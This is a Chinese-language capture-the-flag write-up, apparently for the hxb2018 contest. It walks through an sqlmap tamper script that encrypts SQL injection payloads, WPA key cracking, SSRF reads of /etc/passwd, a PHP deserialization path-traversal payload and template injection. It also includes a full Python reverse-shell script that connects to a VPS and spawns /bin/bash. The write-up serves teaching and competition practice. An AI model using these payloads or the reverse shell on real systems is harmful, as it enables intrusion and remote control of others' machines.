打開題目,右鍵發現有id參數的url,簡單base64解碼之後發現不是明文,說明利用了其餘的加密方式,那麼應該會有具體的加密方式給咱們,因而試試常見的文件泄露,能夠發現list.zip,打開發現是具體的解密邏輯與查詢邏輯。php
有了解密邏輯咱們就能夠逆着寫出加密邏輯,另外id參數明顯存在注入,只須要寫一個加密的sqlmap的tamper腳本,而後放到sqlmap的tamper目錄下就能夠了,以後在sqlmap裏跑一跑就能夠出flaghtml
下面是改過的tamper腳本前端
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 from Crypto.Cipher import AES from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def encrypt(text): padding = '\0' key = 'ydhaqPQnexoaDuW3' iv = '2018201920202021' pad_it = lambda s: s+(16 - len(s)%16)*padding cipher = AES.new(key, AES.MODE_CBC, iv) text = text + 'hxb2018' return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text)))) def tamper(payload, **kwargs): return encrypt(payload)
題目是個流量包,802.11的,數據包是加密的,因此嘗試一下能不能爆破出來key來解密一下上層的其餘數據包來找flag,通常作無線的題目須要用到aircrack-ng這個無線破解工具。python
首先須要一個弱密碼的字典,而後運行 aircrack-ng -w 字典名 + 流量包,運氣比較好恰好爆破出來了key爲password1web
有了key就能導入到wireshark裏面對wpa加密的無線數據包進行解密sql
解密以後在導出http對象中發現flagshell
ssrf的題目,首先讀了下/etc/passwd沒有什麼有用的東西,因此繼續讀一下/etc/hosts發現內網裏面有兩臺主機apache
通過簡單測試,發現題目的內網主機號爲230,另外一臺內網機器的主機號是183,因此嘗試讀一下另外一個機器上的文件,首先讀一下apache的配置文件,發現以下路徑樹後端
又由於http的網站在站點的配置文件下有默認的000-default.conf,因此嘗試訪問以下:bash
發現了web的源碼路徑,直接讀取
發現路徑/var/www/html/ssrf/readflag,嘗試訪問是個elf,一堆亂碼,因此用wget下載這個elf,而後ida裏面加載一下發現以下:
因此更改一下路徑,讀取以下,獲得flag
這是一道反序列化的題目,在咱們註冊登錄之後,在抓包中發現picture參數有問題,base64解碼發現其爲序列化的數據,因此猜想是否其存在反序列化漏洞,咱們上傳一個jpg文件
又由於後端會訪問咱們上傳的圖片並會返回到前端,因此嘗試是否能夠讀取任意文件,上傳1.jpg之後,抓包而且改成payload爲a:1:{i:0;s:14:」../../flag.php」;},而後放包以下圖所示,能夠看到一串base64編碼
解密後就能看到flag如上圖所示
註冊登錄後,在添加標題那裏剛開始選擇「是」這個選項,覺得是xss,可是沒效果,因而選擇「否」,添加標題後發現有show頁面,嘗試了一下模板注入的payload
返回了9說明的確存在模板注入,因而嘗試是否能夠執行命令
構造payload以下:
返回的值證實能夠執行命令,又繼續嘗試了一下curl和wget 都能使用,因此嘗試反彈一下shell試試,在vps上監聽一下端口,使用exp下載vps上的shell.py文件並執行,構造如下payload:
shell以下:
#!/usr/bin/env python #coding:utf-8 import os import pty import socket lhost = "xx.xx.xx.xx" #vps的ip地址 lport = 21192 #vps的端口 def main(): s= socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((lhost,lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn('/bin/bash') s.close() main()
分別show以上的兩條payload之後就可以拿到shell,在Xme0目錄下存在auto.js 查看它以下圖所示獲得flag
下載一個是一個vmdk文件,首先看看能不能提取出來啥東西,這裏須要用到7z
提取出來裏面有四個flag文件,可是打開並非flag,隊友說可能跟NTFS隱藏數據流有關係,因此百度一波,在網上找到以下工具
可以檢測出隱藏在文件中的NTFS數據流,搜索一下果真找到了可疑的數據流
百度到ads原來是能夠隱藏後門的,因而分別打開四個flag文件
打開flag1.txt後是一段二進制,在線將其轉化爲字符串試試
發現是flag,因此繼續轉換後面的三個文件中的二進制文件並轉換就能夠獲得flag
首先拿到圖片先binwalk一下,發現什麼都沒有
而後strings一下圖片
結尾發現flag的一部分字符串78cd89c18c
確定在別的地方還有flag的其餘部分,因此用16進制編輯器看看圖片,發現其有三個圖片其中兩張圖片沒有頭部的前8個字節,因此把兩張圖片摳出來加上頭部,就變成3張圖片了
此時掏出stegsolve來給三張圖片用一用,在第二張圖中發現了bgr通道的lsb隱寫
hxb2018{1e30f3b836d78d25c ,由此獲得了flag的另外一個部分,此時明顯還少最後一個部分,此時有三張圖片固然想到用盲水印,之前在比賽中遇到過,因此用下圖所示的工具試試:
因爲有3張圖片因此須要兩兩結合來花費3次來嘗試
由此獲得flag的最後一段爲20b4a}
最後拼接獲得flag:
hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}